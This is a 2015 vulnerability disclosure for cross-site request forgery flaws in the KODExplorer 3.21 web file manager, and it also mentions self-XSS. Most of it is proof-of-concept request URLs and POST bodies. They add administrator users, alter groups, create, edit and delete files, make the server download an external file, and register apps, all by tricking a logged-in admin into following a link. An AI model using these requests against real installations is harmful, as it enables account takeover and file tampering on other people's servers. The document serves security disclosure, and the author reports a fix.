KODExplorer 3.21 Cross Site Request Forgery

`  
================================================================================  
# KODExplorer web file manager - Cross Site Request Foreign  
================================================================================  
# Vendor Homepage: https://github.com/kalcaddle/KODExplorer/ - http://kalcaddle.com/  
# Date: 30-Dec-2015  
# Software Link: https://github.com/kalcaddle/KODExplorer/archive/master.zip  
# Exploit Author : Ben Khlifa Fahmi - Xtnr3v0lt  
================================================================================  
Description : there is no CSRF token protection on the user management area , an attacker can use the  
POC bellow to add , edit , remove any user by sending a link to logged in user with User Management privilege  
  
# PoC :  
Add user :  
http://localhost/index.php?member/add&name=[username]&password=[password]&role=Administrator  
  
Delete User:  
http://localhost/index.php?member/del&name=[username]  
  
Edit User:  
http://localhost/index.php?member/edit&name=[username]&name_to=[new_username]&role_to=[new_group]&password_to=[new_password]  
  
Patch released : Check my git https://github.com/benkhlifafahmi/KODExplorer  
================================================================================  
# Discovered By : Ben Khlifa Fahmi(https://www.benkhlifa.com/) from Tunisian Whitehats Security (@WhitehatsTN)  
================================================================================  
Special Thanks to both the community Tunisian Whitehats Security and Arab Oracle Users Group  
  
  
  
Additional CSRF Issues:  
  
I - CSRF Group Managment :  
Description : an attacker can add , remove or edit any User Group by sending an exploit link to a loggeed in admin.  
  
Vulnerable Controller : group.class.php  
Proof of Concept :   
#Add Group : POST Request   
action url : http://localhost/index.php?group/add&role=[group name]&name=[group description]&ext_not_allow=[allowed extension(ex: php|jsp|etc..]  
POSTDATA=explorer%3Amkfile=1&app%3Auser_app=1&explorer%3Amkdir=1&explorer%3ApathRname=1&explorer%3ApathDelete=1&explorer%3ApathInfo=1&explorer%3ApathInfoMuti=1&explorer%3ApathCopy=1&explorer%3ApathCute=1&explorer%3ApathCuteDrag=1&explorer%3Aclipboard=1&explorer%3ApathPast=1&explorer%3Azip=1&explorer%3Aunzip=1&explorer%3Asearch=1&editor%3AfileSave=1&explorer%3AfileUpload=1&explorer%3AserverDownload=1&explorer%3AfileDownload=1&userShare%3Aset=1&userShare%3Adel=1&user%3AchangePassword=1&setting%3Aset=1&fav%3Aedit=1&fav%3Aadd=1&fav%3Adel=1&member%3Aget=1&member%3Aadd=1&member%3Aedit=1&member%3Adel=1&group%3Aget=1&group%3Aadd=1&group%3Aedit=1&group%3Adel=1  
  
#Edit Group : POST Request   
action url : http://localhost/index.php?group/add&role_old=[group name to edit]&name=[group description]&ext_not_allow=[allowed extension(ex: php|jsp|etc..]  
POSTDATA=explorer%3Amkfile=1&app%3Auser_app=1&explorer%3Amkdir=1&explorer%3ApathRname=1&explorer%3ApathDelete=1&explorer%3ApathInfo=1&explorer%3ApathInfoMuti=1&explorer%3ApathCopy=1&explorer%3ApathCute=1&explorer%3ApathCuteDrag=1&explorer%3Aclipboard=1&explorer%3ApathPast=1&explorer%3Azip=1&explorer%3Aunzip=1&explorer%3Asearch=1&editor%3AfileSave=1&explorer%3AfileUpload=1&explorer%3AserverDownload=1&explorer%3AfileDownload=1&userShare%3Aset=1&userShare%3Adel=1&user%3AchangePassword=1&setting%3Aset=1&fav%3Aedit=1&fav%3Aadd=1&fav%3Adel=1&member%3Aget=1&member%3Aadd=1&member%3Aedit=1&member%3Adel=1&group%3Aget=1&group%3Aadd=1&group%3Aedit=1&group%3Adel=1  
  
#Delete Group : http://localhost/index.php?group/del&role=[group_name]  
  
  
------------------------------------------------------------------------  
II - CSRF on File Managment :   
Description : an attacker can add , upload file from external site , delete or edit file/path by sending a link to a logged in administrator.  
  
Vulnerable Controller : explorer.class.php  
  
Proof of Concept :   
#Add a file(1) : http://localhost/index.php?explorer/mkfile&path=[file name]  
#Delete file : POST Request   
action URL: http://localhost/index.php?explorer/pathDelete  
post data : list[[{"type":"file","path":"[path to file you want to remove]"}]]  
#Upload File(2): http://localhost/index.php?explorer/serverDownload&type=download&save_path=[path where to save file]&url=[url to external file]&uuid=[any uuid you want]  
  
#Edit file : POST Request  
action URL:POST http://localhost/index.php?editor/fileSave   
Post Data: path[path to file]\ncharset[utf-8]\nfilestr[[file content]]  
  
  
------------------------------------------------------------------------  
  
  
  
III - CSRF on App Managment :   
Description : an attacker can add, edit , remove any app by sending a link to a logged in admin.  
  
Vulnerable Controller : app.class.php  
  
Proof of Concept :   
#Add app : POST request  
action url : http://localhost/index.php?app/add&name=a  
POST DATA : data[%257B%2522type%2522%253A%2522url%2522%252C%2522content%2522%253A%2522[url of your app]%2522%252C%2522group%2522%253A%2522others%2522%252C%2522name%2522%253A%2522[you app name]%2522%252C%2522desc%2522%253A%2522[you app description]%2522%252C%2522icon%2522%253A%2522oexe.png%2522%252C%2522width%2522%253A%2522800%2522%252C%2522height%2522%253A%2522600%2522%252C%2522simple%2522%253A0%252C%2522resize%2522%253A1%257D]  
  
#Delete App : http://localhost/index.php?app/del&name=[your app]  
  
  
-------------------------------------------------------------------------  
IV - Multiple Self XSS:  
Description : the KODExplorer suffer from many Self XSS, vulnerable module to XSS are , Username , App Name , App Source , Folder Name , File Name , Group Name. to execute it just inject html code as one of the vulnerable module above.  
  
  
-------------------------------------------------------------------------  
V - Solution :   
I have released a fix on my github account you can clone it or just wait for a patch to be released on the next version as i have reported all possible vulnerability ,  
  
-------------------------------------------------------------------------  
  
  
Thanks : I want to say "thank you" for:  
- Tunisian Whitehats Security (@WhitehatsTN) http://www.whitehats.tn  
- Arab Oracle Users Group (@araboug) http://www.araboug.org  
- @RaisoMos , @tws_bayrem , @tws_charfeddine , @achref_vip , @tws_amine.  
Special Greetz to my fiancy.  
  
  
`